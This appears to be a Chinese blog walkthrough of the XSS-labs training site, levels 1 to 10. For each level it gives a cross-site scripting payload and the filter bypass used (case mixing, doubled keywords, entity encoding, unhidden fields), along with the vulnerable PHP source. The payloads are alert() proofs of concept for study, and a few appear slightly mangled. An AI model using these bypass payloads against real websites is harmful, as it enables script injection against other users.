Loading... # XSS-labs Less 1-10 ## Level 1 无过滤  name后的会显示在页面上,属于注入点: ~~~js <script>alert()</script> ~~~  ## Level 2 闭合标签 页面中有输入框,尝试第一关的注入  可以看到图中的value值即为输入框中的值,可以考虑闭合input标签 ~~~js "><script>alert()</script> ~~~  或者使用onclick ~~~js " onclick=alert() " ~~~  ## Level 3 单引号闭合+事件 输入最简单的alert,ctrl+U发现value中大小于号被转换为html语言  换成onclick,发现单引号也被转换了,这里去看下php代码  使用到了一个叫htmlspecialchars的php函数,作用是将特殊字符转换成HTML实体(转义)  所以要想办法不使用这些特殊字符 发现使用单引号+事件可以避开  仔细看了php函数解释: ~~~php htmlspecialchars( string $string, int $flags = ENT_COMPAT | ENT_HTML401, string $encoding = ini_get("default_charset"), bool $double_encode = true ): string ~~~ 发现默认是只转换双引号而未转换单引号,为注入提供了便利  ## Less 4 双引号闭合+事件 输入最简单的alert,发现大小于号被过滤  输入onclick,成功跳出弹窗  ## Level 5 新建标签  第一个scipt被加上了下划线(继续测试发现是`<script>这个标签会被加上下划线,</script>不会`) 使用onclick发现on中间被加上下划线  根据提示使用a标签来跳转新页面,双引号闭合value,大于号闭合input标签 ~~~html "><a href=javascript:alert()>xss</a> ~~~  点击链接即可进入下一关 ## Less 6 大小写绕过 尝试上一关的法发现href被加上下划线  类似尝试发现script、onclick等都被加上下划线 使用大小写可以绕过: ~~~js " ONclick=alert() " ~~~  点击一下输入框即可进入下一关 源码中的过滤方式(网上说data字段是可以通过image注入)  ## Less 7 双写绕过 尝试alert,发现script整个词被过滤(大小写均被过滤)  尝试onclick,on被删除(大小写一样)  尝试新标签页法,href和script被过滤,  既然过滤script,那就用双写 ~~~js "><scriscriptpt>alert()</sscriptcript> ~~~  绕过成功!来分析下源码 ~~~php <?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); // 全部转为小写,无法大小写绕过 $str2=str_replace("script","",$str); // 删除script,无法插入js代码 $str3=str_replace("on","",$str2); // 删除on,无法使用onclick、onfucus等js事件 $str4=str_replace("src","",$str3); // 和data一样,是防止img注入alert信息 $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); // 删除href,无法新标签页绕过 // 当然以上这些都可以双写实现绕过 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> ~~~ ## Less 8 编码绕过 尝试基本的alert,如图可知script被加了下划线(onclick也是),同时绕过点在于a标签的href中  由链接联想到新标签页法,使用HTML编码,javascript是在ri之间插入下划线,将ri转换为10进制类型的编码:&# **补充**: HTML实体编码:主要分为10进制和16进制,格式为 **&#** 开头以**分号**结尾,火狐/谷歌/IE都支持,进行html十、十六进制编码(找到了个在线的:https://www.toolzl.com/tools/htmlende.html https://www.qqxiuzi.cn/bianma/zifushiti.php,回头自己写个能转换为10或16进制的脚本) ~~~js javascript:alert() ~~~  分析源码: ~~~php <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); // 无法大小写绕过 $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); // 添加下划线无法使用双写绕过 $str7=str_replace('"','"',$str6); // 这里很重要,使用双引号会被HTML编码而无法闭合href echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> ~~~ ## Less 9 检测关键词 这一关同上一关可以对a标签做手脚,不过无法直接进行拼接,显示:<u>您的链接不合法?有没有!</u>(大小写,双写,编码均无法绕过)  这关不看源码很难猜测出(当然检测的关键词很明显):在第八关基础上加入对过滤完的输入是否含有 http:// 的检测,不存在无法拼接 ~~~php <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ?> ~~~ 知道了就很好办了,在alert中加上'http://'即可 ~~~html javascript:alert('http://'') ~~~  ## Less 10 隐藏信息 查看html源码发现有个表单输入区被隐藏  尝试修改掉hidden,并把最后一个改成submit键,随便输  结果:URL栏中有了新的get变量  把最后一个t_sort也加上值为a,发现表单区出现了value值,存在绕过点  所以修改t_sort的值为" onclick=alert() ",同时去掉第三个input的hidden使得可以点击输入框来跳转  这里直接用的较简单的onclick,查看源码可知大小于号被过滤,`<script>`标签无法使用 ~~~php <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> ~~~ 最后修改:2022 年 07 月 12 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 1 如果觉得我的文章对你有用,请随意赞赏
2 条评论
test
alert()